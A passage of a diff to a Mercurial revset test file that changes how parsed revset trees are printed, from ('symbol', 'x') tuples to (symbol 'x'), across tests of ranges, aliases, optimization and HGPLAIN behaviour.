     (func
-      ('symbol', 'r3232')
+      (symbol 'r3232')
       None)
-    ('symbol', '2'))
+    (symbol '2'))
   * analyzed set:
   <baseset [2]>
   * optimized set:
@@ -766,7 +766,7 @@
   $ try -p analyzed ':1'
   * analyzed:
   (rangepre
-    ('symbol', '1'))
+    (symbol '1'))
   * set:
   <spanset+ 0:2>
   0
@@ -776,8 +776,8 @@
   (rangepre
     (or
       (list
-        ('symbol', '1')
-        ('symbol', '2'))))
+        (symbol '1')
+        (symbol '2'))))
   * set:
   <spanset+ 0:3>
   0
@@ -787,8 +787,8 @@
   * analyzed:
   (rangepre
     (and
-      ('symbol', '1')
-      ('symbol', '2')))
+      (symbol '1')
+      (symbol '2')))
   * set:
   <baseset []>
 
@@ -799,8 +799,8 @@
   $ try '1^:2'
   (range
     (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
+      (symbol '1'))
+    (symbol '2'))
   * set:
   <spanset+ 0:3>
   0
@@ -810,8 +810,8 @@
   $ try '1^::2'
   (dagrange
     (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
+      (symbol '1'))
+    (symbol '2'))
   * set:
   <baseset+ [0, 1, 2]>
   0
@@ -821,7 +821,7 @@
   $ try '9^:'
   (rangepost
     (parentpost
-      ('symbol', '9')))
+      (symbol '9')))
   * set:
   <spanset+ 8:10>
   8
@@ -831,10 +831,10 @@
 
   $ try '1^(:2)'
   (parent
-    ('symbol', '1')
+    (symbol '1')
     (group
       (rangepre
-        ('symbol', '2'))))
+        (symbol '2'))))
   hg: parse error: ^ expects a number 0, 1, or 2
   [255]
 
@@ -842,11 +842,11 @@
 
   $ try 'sort(1^:2)'
   (func
-    ('symbol', 'sort')
+    (symbol 'sort')
     (range
       (parentpost
-        ('symbol', '1'))
-      ('symbol', '2')))
+        (symbol '1'))
+      (symbol '2')))
   * set:
   <spanset+ 0:3>
   0
@@ -859,9 +859,9 @@
       (group
         (range
           (parentpost
-            ('symbol', '3'))
-          ('symbol', '4'))))
-    ('symbol', '2'))
+            (symbol '3'))
+          (symbol '4'))))
+    (symbol '2'))
   * set:
   <spanset+ 0:3>
   0
@@ -874,9 +874,9 @@
       (group
         (dagrange
           (parentpost
-            ('symbol', '3'))
-          ('symbol', '4'))))
-    ('symbol', '2'))
+            (symbol '3'))
+          (symbol '4'))))
+    (symbol '2'))
   * set:
   <baseset+ [0, 1, 2]>
   0
@@ -889,7 +889,7 @@
       (group
         (rangepost
           (parentpost
-            ('symbol', '9'))))))
+            (symbol '9'))))))
   * set:
   <spanset+ 4:10>
   4
@@ -902,12 +902,12 @@
  x^ in alias should also be resolved
 
   $ try 'A' --config 'revsetalias.A=1^:2'
-  ('symbol', 'A')
+  (symbol 'A')
   * expanded:
   (range
     (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
+      (symbol '1'))
+    (symbol '2'))
   * set:
   <spanset+ 0:3>
   0
@@ -916,13 +916,13 @@
 
   $ try 'A:2' --config 'revsetalias.A=1^'
   (range
-    ('symbol', 'A')
-    ('symbol', '2'))
+    (symbol 'A')
+    (symbol '2'))
   * expanded:
   (range
     (parentpost
-      ('symbol', '1'))
-    ('symbol', '2'))
+      (symbol '1'))
+    (symbol '2'))
   * set:
   <spanset+ 0:3>
   0
@@ -934,13 +934,13 @@
 
   $ try '1^A' --config 'revsetalias.A=:2'
   (parent
-    ('symbol', '1')
-    ('symbol', 'A'))
+    (symbol '1')
+    (symbol 'A'))
   * expanded:
   (parent
-    ('symbol', '1')
+    (symbol '1')
     (rangepre
-      ('symbol', '2')))
+      (symbol '2')))
   hg: parse error: ^ expects a number 0, 1, or 2
   [255]
 
@@ -1168,11 +1168,11 @@
   * parsed:
   (relsubscript
     (func
-      ('symbol', 'roots')
+      (symbol 'roots')
       (rangeall
         None))
-    ('symbol', 'g')
-    ('symbol', '2'))
+    (symbol 'g')
+    (symbol '2'))
   2
   3
 
@@ -1270,22 +1270,22 @@
   6
   $ try 'grep("(")' # invalid regular expression
   (func
-    ('symbol', 'grep')
-    ('string', '('))
+    (symbol 'grep')
+    (string '('))
   hg: parse error: invalid match pattern: unbalanced parenthesis
   [255]
   $ try 'grep("\bissue\d+")'
   (func
-    ('symbol', 'grep')
-    ('string', '\x08issue\\d+'))
+    (symbol 'grep')
+    (string '\x08issue\\d+'))
   * set:
   <filteredset
     <fullreposet+ 0:10>,
     <grep '\x08issue\\d+'>>
   $ try 'grep(r"\bissue\d+")'
   (func
-    ('symbol', 'grep')
-    ('string', '\\bissue\\d+'))
+    (symbol 'grep')
+    (string '\\bissue\\d+'))
   * set:
   <filteredset
     <fullreposet+ 0:10>,
@@ -1602,17 +1602,17 @@
   (onlypost
     (minus
       (range
-        ('symbol', '8')
-        ('symbol', '9'))
-      ('symbol', '8')))
+        (symbol '8')
+        (symbol '9'))
+      (symbol '8')))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (difference
       (range
-        ('symbol', '8')
-        ('symbol', '9'))
-      ('symbol', '8')))
+        (symbol '8')
+        (symbol '9'))
+      (symbol '8')))
   * set:
   <baseset+ [8, 9]>
   8
@@ -1620,15 +1620,15 @@
   $ try --optimize '(9)%(5)'
   (only
     (group
-      ('symbol', '9'))
+      (symbol '9'))
     (group
-      ('symbol', '5')))
+      (symbol '5')))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (list
-      ('symbol', '9')
-      ('symbol', '5')))
+      (symbol '9')
+      (symbol '5')))
   * set:
   <baseset+ [2, 4, 8, 9]>
   2
@@ -1962,14 +1962,14 @@
   (difference
     (and
       (range
-        ('symbol', '3')
-        ('symbol', '0'))
+        (symbol '3')
+        (symbol '0'))
       (range
-        ('symbol', '0')
-        ('symbol', '3')))
+        (symbol '0')
+        (symbol '3')))
     (range
-      ('symbol', '2')
-      ('symbol', '1')))
+      (symbol '2')
+      (symbol '1')))
   * set:
   <filteredset
     <filteredset
@@ -1986,22 +1986,22 @@
   $ try --optimize '2:0 & (0 + 1 + 2)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (group
       (or
         (list
-          ('symbol', '0')
-          ('symbol', '1')
-          ('symbol', '2')))))
+          (symbol '0')
+          (symbol '1')
+          (symbol '2')))))
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_list')
-      ('string', '0\x001\x002')))
+      (symbol '_list')
+      (string '0\x001\x002')))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2015,26 +2015,26 @@
   $ try --optimize '2:0 & (0:1 + 2)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (group
       (or
         (list
           (range
-            ('symbol', '0')
-            ('symbol', '1'))
-          ('symbol', '2')))))
+            (symbol '0')
+            (symbol '1'))
+          (symbol '2')))))
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (or
       (list
         (range
-          ('symbol', '0')
-          ('symbol', '1'))
-        ('symbol', '2'))))
+          (symbol '0')
+          (symbol '1'))
+        (symbol '2'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2050,19 +2050,19 @@
   $ trylist --optimize '2:0 & %ld' 0 1 2
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_intlist')
-      ('string', '0\x001\x002')))
+      (symbol '_intlist')
+      (string '0\x001\x002')))
   * optimized:
   (andsmally
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_intlist')
-      ('string', '0\x001\x002')))
+      (symbol '_intlist')
+      (string '0\x001\x002')))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2074,19 +2074,19 @@
   $ trylist --optimize '%ld & 2:0' 0 2 1
   (and
     (func
-      ('symbol', '_intlist')
-      ('string', '0\x002\x001'))
+      (symbol '_intlist')
+      (string '0\x002\x001'))
     (range
-      ('symbol', '2')
-      ('symbol', '0')))
+      (symbol '2')
+      (symbol '0')))
   * optimized:
   (and
     (func
-      ('symbol', '_intlist')
-      ('string', '0\x002\x001'))
+      (symbol '_intlist')
+      (string '0\x002\x001'))
     (range
-      ('symbol', '2')
-      ('symbol', '0')))
+      (symbol '2')
+      (symbol '0')))
   * set:
   <filteredset
     <baseset [0, 2, 1]>,
@@ -2100,19 +2100,19 @@
   $ trylist --optimize --bin '2:0 & %ln' `hg log -T '{node} ' -r0:2`
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_hexlist')
-      ('string', '*'))) (glob)
+      (symbol '_hexlist')
+      (string '*'))) (glob)
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_hexlist')
-      ('string', '*'))) (glob)
+      (symbol '_hexlist')
+      (string '*'))) (glob)
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2124,19 +2124,19 @@
   $ trylist --optimize --bin '%ln & 2:0' `hg log -T '{node} ' -r0+2+1`
   (and
     (func
-      ('symbol', '_hexlist')
-      ('string', '*')) (glob)
+      (symbol '_hexlist')
+      (string '*')) (glob)
     (range
-      ('symbol', '2')
-      ('symbol', '0')))
+      (symbol '2')
+      (symbol '0')))
   * optimized:
   (andsmally
     (func
-      ('symbol', '_hexlist')
-      ('string', '*')) (glob)
+      (symbol '_hexlist')
+      (string '*')) (glob)
     (range
-      ('symbol', '2')
-      ('symbol', '0')))
+      (symbol '2')
+      (symbol '0')))
   * set:
   <baseset [0, 2, 1]>
   0
@@ -2150,11 +2150,11 @@
   * optimized:
   (difference
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', '_list')
-      ('string', '0\x001')))
+      (symbol '_list')
+      (string '0\x001')))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2166,15 +2166,15 @@
   * optimized:
   (difference
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (and
       (range
-        ('symbol', '0')
-        ('symbol', '2'))
+        (symbol '0')
+        (symbol '2'))
       (func
-        ('symbol', '_list')
-        ('string', '0\x001'))))
+        (symbol '_list')
+        (string '0\x001'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2188,10 +2188,10 @@
   $ try -p optimized 'present(2 + 0 + 1)'
   * optimized:
   (func
-    ('symbol', 'present')
+    (symbol 'present')
     (func
-      ('symbol', '_list')
-      ('string', '2\x000\x001')))
+      (symbol '_list')
+      (string '2\x000\x001')))
   * set:
   <baseset [2, 0, 1]>
   2
@@ -2201,25 +2201,25 @@
   $ try --optimize '2:0 & present(0 + 1 + 2)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', 'present')
+      (symbol 'present')
       (or
         (list
-          ('symbol', '0')
-          ('symbol', '1')
-          ('symbol', '2')))))
+          (symbol '0')
+          (symbol '1')
+          (symbol '2')))))
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', 'present')
+      (symbol 'present')
       (func
-        ('symbol', '_list')
-        ('string', '0\x001\x002'))))
+        (symbol '_list')
+        (string '0\x001\x002'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2233,22 +2233,22 @@
   $ try --optimize '0:2 & reverse(all())'
   (and
     (range
-      ('symbol', '0')
-      ('symbol', '2'))
+      (symbol '0')
+      (symbol '2'))
     (func
-      ('symbol', 'reverse')
+      (symbol 'reverse')
       (func
-        ('symbol', 'all')
+        (symbol 'all')
         None)))
   * optimized:
   (and
     (range
-      ('symbol', '0')
-      ('symbol', '2'))
+      (symbol '0')
+      (symbol '2'))
     (func
-      ('symbol', 'reverse')
+      (symbol 'reverse')
       (func
-        ('symbol', 'all')
+        (symbol 'all')
         None)))
   * set:
   <filteredset
@@ -2263,28 +2263,28 @@
   $ try --optimize '0:2 & sort(all(), -rev)'
   (and
     (range
-      ('symbol', '0')
-      ('symbol', '2'))
+      (symbol '0')
+      (symbol '2'))
     (func
-      ('symbol', 'sort')
+      (symbol 'sort')
       (list
         (func
-          ('symbol', 'all')
+          (symbol 'all')
           None)
         (negate
-          ('symbol', 'rev')))))
+          (symbol 'rev')))))
   * optimized:
   (and
     (range
-      ('symbol', '0')
-      ('symbol', '2'))
+      (symbol '0')
+      (symbol '2'))
     (func
-      ('symbol', 'sort')
+      (symbol 'sort')
       (list
         (func
-          ('symbol', 'all')
+          (symbol 'all')
           None)
-        ('string', '-rev'))))
+        (string '-rev'))))
   * set:
   <filteredset
     <spanset+ 0:3>,
@@ -2307,25 +2307,25 @@
   $ try --optimize '2:0 & first(1 + 0 + 2)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', 'first')
+      (symbol 'first')
       (or
         (list
-          ('symbol', '1')
-          ('symbol', '0')
-          ('symbol', '2')))))
+          (symbol '1')
+          (symbol '0')
+          (symbol '2')))))
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', 'first')
+      (symbol 'first')
       (func
-        ('symbol', '_list')
-        ('string', '1\x000\x002'))))
+        (symbol '_list')
+        (string '1\x000\x002'))))
   * set:
   <filteredset
     <baseset [1]>,
@@ -2335,26 +2335,26 @@
   $ try --optimize '2:0 & not last(0 + 2 + 1)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (not
       (func
-        ('symbol', 'last')
+        (symbol 'last')
         (or
           (list
-            ('symbol', '0')
-            ('symbol', '2')
-            ('symbol', '1'))))))
+            (symbol '0')
+            (symbol '2')
+            (symbol '1'))))))
   * optimized:
   (difference
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (func
-      ('symbol', 'last')
+      (symbol 'last')
       (func
-        ('symbol', '_list')
-        ('string', '0\x002\x001'))))
+        (symbol '_list')
+        (string '0\x002\x001'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2368,33 +2368,33 @@
   $ try --optimize '2:0 & (1 + 0 + 2):(0 + 2 + 1)'
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (range
       (group
         (or
           (list
-            ('symbol', '1')
-            ('symbol', '0')
-            ('symbol', '2'))))
+            (symbol '1')
+            (symbol '0')
+            (symbol '2'))))
       (group
         (or
           (list
-            ('symbol', '0')
-            ('symbol', '2')
-            ('symbol', '1'))))))
+            (symbol '0')
+            (symbol '2')
+            (symbol '1'))))))
   * optimized:
   (and
     (range
-      ('symbol', '2')
-      ('symbol', '0'))
+      (symbol '2')
+      (symbol '0'))
     (range
       (func
-        ('symbol', '_list')
-        ('string', '1\x000\x002'))
+        (symbol '_list')
+        (string '1\x000\x002'))
       (func
-        ('symbol', '_list')
-        ('string', '0\x002\x001'))))
+        (symbol '_list')
+        (string '0\x002\x001'))))
   * set:
   <filteredset
     <spanset- 0:3>,
@@ -2406,22 +2406,22 @@
   $ try --optimize 'contains("glob:*") & (2 + 0 + 1)'
   (and
     (func
-      ('symbol', 'contains')
-      ('string', 'glob:*'))
+      (symbol 'contains')
+      (string 'glob:*'))
     (group
       (or
         (list
-          ('symbol', '2')
-          ('symbol', '0')
-          ('symbol', '1')))))
+          (symbol '2')
+          (symbol '0')
+          (symbol '1')))))
   * optimized:
   (andsmally
     (func
-      ('symbol', 'contains')
-      ('string', 'glob:*'))
+      (symbol 'contains')
+      (string 'glob:*'))
     (func
-      ('symbol', '_list')
-      ('string', '2\x000\x001')))
+      (symbol '_list')
+      (string '2\x000\x001')))
   * set:
   <filteredset
     <baseset+ [0, 1, 2]>,
@@ -2436,26 +2436,26 @@
   $ try --optimize 'reverse(contains("glob:*")) & (0 + 2 + 1)'
   (and
     (func
-      ('symbol', 'reverse')
+      (symbol 'reverse')
       (func
-        ('symbol', 'contains')
-        ('string', 'glob:*')))
+        (symbol 'contains')
+        (string 'glob:*')))
     (group
       (or
         (list
-          ('symbol', '0')
-          ('symbol', '2')
-          ('symbol', '1')))))
+          (symbol '0')
+          (symbol '2')
+          (symbol '1')))))
   * optimized:
   (andsmally
     (func
-      ('symbol', 'reverse')
+      (symbol 'reverse')
       (func
-        ('symbol', 'contains')
-        ('string', 'glob:*')))
+        (symbol 'contains')
+        (string 'glob:*')))
     (func
-      ('symbol', '_list')
-      ('string', '0\x002\x001')))
+      (symbol '_list')
+      (string '0\x002\x001')))
   * set:
   <filteredset
     <baseset- [0, 1, 2]>,
@@ -2791,13 +2791,13 @@
   (or
     (list
       (func
-        ('symbol', 'reverse')
+        (symbol 'reverse')
         (dagrange
-          ('symbol', '1')
-          ('symbol', '5')))
+          (symbol '1')
+          (symbol '5')))
       (func
-        ('symbol', 'ancestors')
-        ('symbol', '4'))))
+        (symbol 'ancestors')
+        (symbol '4'))))
   * set:
   <addset
     <baseset- [1, 3, 5]>,
@@ -2810,17 +2810,17 @@
   4
   $ try 'sort(ancestors(4) or reverse(1::5))'
   (func
-    ('symbol', 'sort')
+    (symbol 'sort')
     (or
       (list
         (func
-          ('symbol', 'ancestors')
-          ('symbol', '4'))
+          (symbol 'ancestors')
+          (symbol '4'))
         (func
-          ('symbol', 'reverse')
+          (symbol 'reverse')
           (dagrange
-            ('symbol', '1')
-            ('symbol', '5'))))))
+            (symbol '1')
+            (symbol '5'))))))
   * set:
   <addset+
     <generatorset+>,
@@ -2837,18 +2837,18 @@
   $ try --optimize '0|(1)|"2"|-2|tip|null'
   (or
     (list
-      ('symbol', '0')
+      (symbol '0')
       (group
-        ('symbol', '1'))
-      ('string', '2')
+        (symbol '1'))
+      (string '2')
       (negate
-        ('symbol', '2'))
-      ('symbol', 'tip')
-      ('symbol', 'null')))
+        (symbol '2'))
+      (symbol 'tip')
+      (symbol 'null')))
   * optimized:
   (func
-    ('symbol', '_list')
-    ('string', '0\x001\x002\x00-2\x00tip\x00null'))
+    (symbol '_list')
+    (string '0\x001\x002\x00-2\x00tip\x00null'))
   * set:
   <baseset [0, 1, 2, 8, 9, -1]>
   0
@@ -2861,20 +2861,20 @@
   $ try --optimize '0|1|2:3'
   (or
     (list
-      ('symbol', '0')
-      ('symbol', '1')
+      (symbol '0')
+      (symbol '1')
       (range
-        ('symbol', '2')
-        ('symbol', '3'))))
+        (symbol '2')
+        (symbol '3'))))
   * optimized:
   (or
     (list
       (func
-        ('symbol', '_list')
-        ('string', '0\x001'))
+        (symbol '_list')
+        (string '0\x001'))
       (range
-        ('symbol', '2')
-        ('symbol', '3'))))
+        (symbol '2')
+        (symbol '3'))))
   * set:
   <addset
     <baseset [0, 1]>,
@@ -2888,27 +2888,27 @@
   (or
     (list
       (range
-        ('symbol', '0')
-        ('symbol', '1'))
-      ('symbol', '2')
+        (symbol '0')
+        (symbol '1'))
+      (symbol '2')
       (range
-        ('symbol', '3')
-        ('symbol', '4'))
-      ('symbol', '5')
-      ('symbol', '6')))
+        (symbol '3')
+        (symbol '4'))
+      (symbol '5')
+      (symbol '6')))
   * optimized:
   (or
     (list
       (range
-        ('symbol', '0')
-        ('symbol', '1'))
-      ('symbol', '2')
+        (symbol '0')
+        (symbol '1'))
+      (symbol '2')
       (range
-        ('symbol', '3')
-        ('symbol', '4'))
+        (symbol '3')
+        (symbol '4'))
       (func
-        ('symbol', '_list')
-        ('string', '5\x006'))))
+        (symbol '_list')
+        (string '5\x006'))))
   * set:
   <addset
     <addset
@@ -2931,11 +2931,11 @@
   * analyzed:
   (or
     (list
-      ('symbol', '0')
-      ('symbol', '1')
-      ('symbol', '2')
-      ('symbol', '3')
-      ('symbol', '4')))
+      (symbol '0')
+      (symbol '1')
+      (symbol '2')
+      (symbol '3')
+      (symbol '4')))
   * set:
   <addset
     <addset
@@ -2999,9 +2999,9 @@
   [255]
   $ try '0,1,2'
   (list
-    ('symbol', '0')
-    ('symbol', '1')
-    ('symbol', '2'))
+    (symbol '0')
+    (symbol '1')
+    (symbol '2'))
   hg: parse error: can't use a list in this context
   (see hg help "revsets.x or y")
   [255]
@@ -3012,20 +3012,20 @@
   (or
     (list
       (range
-        ('symbol', '0')
-        ('symbol', '1'))
+        (symbol '0')
+        (symbol '1'))
       (range
-        ('symbol', '1')
-        ('symbol', '2'))
+        (symbol '1')
+        (symbol '2'))
       (range
-        ('symbol', '2')
-        ('symbol', '3'))
+        (symbol '2')
+        (symbol '3'))
       (range
-        ('symbol', '3')
-        ('symbol', '4'))
+        (symbol '3')
+        (symbol '4'))
       (range
-        ('symbol', '4')
-        ('symbol', '5'))))
+        (symbol '4')
+        (symbol '5'))))
   * set:
   <addset
     <addset
@@ -3048,13 +3048,13 @@
   $ try --optimize '0|()'
   (or
     (list
-      ('symbol', '0')
+      (symbol '0')
       (group
         None)))
   * optimized:
   (or
     (list
-      ('symbol', '0')
+      (symbol '0')
       None))
   hg: parse error: missing argument
   [255]
@@ -3077,47 +3077,47 @@
   $ try --optimize '::3 - ::1'
   (minus
     (dagrangepre
-      ('symbol', '3'))
+      (symbol '3'))
     (dagrangepre
-      ('symbol', '1')))
+      (symbol '1')))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (list
-      ('symbol', '3')
-      ('symbol', '1')))
+      (symbol '3')
+      (symbol '1')))
   * set:
   <baseset+ [3]>
   3
   $ try --optimize 'ancestors(1) - ancestors(3)'
   (minus
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '1'))
+      (symbol 'ancestors')
+      (symbol '1'))
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '3')))
+      (symbol 'ancestors')
+      (symbol '3')))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (list
-      ('symbol', '1')
-      ('symbol', '3')))
+      (symbol '1')
+      (symbol '3')))
   * set:
   <baseset+ []>
   $ try --optimize 'not ::2 and ::6'
   (and
     (not
       (dagrangepre
-        ('symbol', '2')))
+        (symbol '2')))
     (dagrangepre
-      ('symbol', '6')))
+      (symbol '6')))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (list
-      ('symbol', '6')
-      ('symbol', '2')))
+      (symbol '6')
+      (symbol '2')))
   * set:
   <baseset+ [3, 4, 5, 6]>
   3
@@ -3127,18 +3127,18 @@
   $ try --optimize 'ancestors(6) and not ancestors(4)'
   (and
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '6'))
+      (symbol 'ancestors')
+      (symbol '6'))
     (not
       (func
-        ('symbol', 'ancestors')
-        ('symbol', '4'))))
+        (symbol 'ancestors')
+        (symbol '4'))))
   * optimized:
   (func
-    ('symbol', 'only')
+    (symbol 'only')
     (list
-      ('symbol', '6')
-      ('symbol', '4')))
+      (symbol '6')
+      (symbol '4')))
   * set:
   <baseset+ [3, 5, 6]>
   3
@@ -3150,14 +3150,14 @@
   $ try --optimize '::1 and ()'
   (and
     (dagrangepre
-      ('symbol', '1'))
+      (symbol '1'))
     (group
       None))
   * optimized:
   (andsmally
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '1'))
+      (symbol 'ancestors')
+      (symbol '1'))
     None)
   hg: parse error: missing argument
   [255]
@@ -3168,13 +3168,13 @@
   * optimized:
   (difference
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '6'))
+      (symbol 'ancestors')
+      (symbol '6'))
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (list
-        ('symbol', '4')
-        ('symbol', '1'))))
+        (symbol '4')
+        (symbol '1'))))
   0
   1
   3
@@ -3184,13 +3184,13 @@
   * optimized:
   (difference
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (list
-        ('symbol', '6')
-        ('symbol', '1')))
+        (symbol '6')
+        (symbol '1')))
     (func
-      ('symbol', 'ancestors')
-      ('symbol', '4')))
+      (symbol 'ancestors')
+      (symbol '4')))
   5
   6
 
@@ -3201,15 +3201,15 @@
   * optimized:
   (difference
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (keyvalue
-        ('symbol', 'set')
-        ('symbol', '6')))
+        (symbol 'set')
+        (symbol '6')))
     (func
-      ('symbol', 'ancestors')
+      (symbol 'ancestors')
       (keyvalue
-        ('symbol', 'set')
-        ('symbol', '4'))))
+        (symbol 'set')
+        (symbol '4'))))
   3
   5
   6
@@ -3492,10 +3492,10 @@
   $ echo 'rs4(ARG1, ARGA, ARGB, ARG2) = reverse(sort(ARG1, ARG2))' >> .hg/hgrc
 
   $ try m
-  ('symbol', 'm')
+  (symbol 'm')
   * expanded:
   (func
-    ('symbol', 'merge')
+    (symbol 'merge')
     None)
   * set:
   <filteredset
@@ -3506,17 +3506,17 @@
   $ HGPLAIN=1
   $ export HGPLAIN
   $ try m
-  ('symbol', 'm')
+  (symbol 'm')
   abort: unknown revision 'm'!
   [255]
 
   $ HGPLAINEXCEPT=revsetalias
   $ export HGPLAINEXCEPT
   $ try m
-  ('symbol', 'm')
+  (symbol 'm')
   * expanded:
   (func
-    ('symbol', 'merge')
+    (symbol 'merge')
     None)
   * set:
   <filteredset
@@ -3529,12 +3529,12 @@
 
   $ try 'p2(.)'
   (func
-    ('symbol', 'p2')
-    ('symbol', '.'))
+    (symbol 'p2')
+    (symbol '.'))
   * expanded:
   (func
-    ('symbol', 'p1')
-    ('symbol', '.'))
+    (symbol 'p1')
+    (symbol '.'))
   * set:
   <baseset+ [8]>
   8
@@ -3543,8 +3543,8 @@
   $ export HGPLAIN
   $ try 'p2(.)'
   (func
-    ('symbol', 'p2')
-    ('symbol', '.'))
+    (symbol 'p2')
+    (symbol '.'))
   * set:
   <baseset+ []>
 
@@ -3552,12 +3552,12 @@
   $ export HGPLAINEXCEPT
   $ try 'p2(.)'
   (func
-    ('symbol', 'p2')
-    ('symbol', '.'))
+    (symbol 'p2')
+    (symbol '.'))
   * expanded:
   (func
-    ('symbol', 'p1')
-    ('symbol', '.'))
+    (symbol 'p1')
+    (symbol '.'))
   * set:
   <baseset+ [8]>
   8
@@ -3568,12 +3568,12 @@
 test alias recursion
 
   $ try sincem
-  ('symbol', 'sincem')
+  (symbol 'sincem')
   * expanded:
   (func
-    ('symbol', 'descendants')
+    (symbol 'descendants')
     (func
-      ('symbol', 'merge')
+      (symbol 'merge')
       None))
   * set:
   <generatorset+>
@@ -3585,7 +3585,7 @@
   $ echo 'recurse1 = recurse2' >> .hg/hgrc
   $ echo 'recurse2 = recurse1' >> .hg/hgrc
   $ try recurse1
-  ('symbol', 'recurse1')
+  (symbol 'recurse1')
   hg: parse error: infinite expansion of revset alias "recurse1" detected
   [255]
 
@@ -3593,22 +3593,22 @@
   $ echo 'level2($1, $2) = level1($2, $1)' >> .hg/hgrc
   $ try "level2(level1(1, 2), 3)"
   (func
-    ('symbol', 'level2')
+    (symbol 'level2')
     (list
       (func
-        ('symbol', 'level1')
+        (symbol 'level1')
         (list
-          ('symbol', '1')
-          ('symbol', '2')))
-      ('symbol', '3')))
+          (symbol '1')
+          (symbol '2')))
+      (symbol '3')))
   * expanded:
   (or
     (list
-      ('symbol', '3')
+      (symbol '3')
       (or
         (list
-          ('symbol', '1')
-          ('symbol', '2')))))
+          (symbol '1')
+          (symbol '2')))))
   * set:
   <addset
     <baseset [3]>,
@@ -3624,16 +3624,16 @@
   $ echo 'nested3($1) = max($1)' >> .hg/hgrc
   $ try 'nested(2:5)'
   (func
-    ('symbol', 'nested')
+    (symbol 'nested')
     (range
-      ('symbol', '2')
-      ('symbol', '5')))
+      (symbol '2')
+      (symbol '5')))
   * expanded:
   (func
-    ('symbol', 'max')
+    (symbol 'max')
     (range
-      ('symbol', '2')
-      ('symbol', '5')))
+      (symbol '2')
+      (symbol '5')))
   * set:
   <baseset
     <max
@@ -3646,29 +3646,29 @@
   $ echo 'chainedorops($1, $2, $3) = $1|$2|$3' >> .hg/hgrc
   $ try 'chainedorops(0:1, 1:2, 2:3)'
   (func
-    ('symbol', 'chainedorops')
+    (symbol 'chainedorops')
     (list
       (range
-        ('symbol', '0')
-        ('symbol', '1'))
+        (symbol '0')
+        (symbol '1'))
       (range
-        ('symbol', '1')
-        ('symbol', '2'))
+        (symbol '1')
+        (symbol '2'))
       (range
-        ('symbol', '2')
-        ('symbol', '3'))))
+        (symbol '2')
+        (symbol '3'))))
   * expanded:
   (or
     (list
       (range
-        ('symbol', '0')
-        ('symbol', '1'))
+        (symbol '0')
+        (symbol '1'))
       (range
-        ('symbol', '1')
-        ('symbol', '2'))
+        (symbol '1')
+        (symbol '2'))
       (range
-        ('symbol', '2')
-        ('symbol', '3'))))
+        (symbol '2')
+        (symbol '3'))))
   * set:
   <addset
     <spanset+ 0:2>,
@@ -3688,16 +3688,16 @@
   $ echo 'callinjection($1) = descendants(injectparamasstring)' >> .hg/hgrc
   $ try 'callinjection(2:5)'
   (func
-    ('symbol', 'callinjection')
+    (symbol 'callinjection')
     (range
-      ('symbol', '2')
-      ('symbol', '5')))
+      (symbol '2')
+      (symbol '5')))
   * expanded:
   (func
-    ('symbol', 'descendants')
+    (symbol 'descendants')
     (func
-      ('symbol', 'max')
-      ('string', '$1')))
+      (symbol 'max')
+      (string '$1')))
   abort: unknown revision '$1'!
   [255]
 
@@ -3708,13 +3708,13 @@
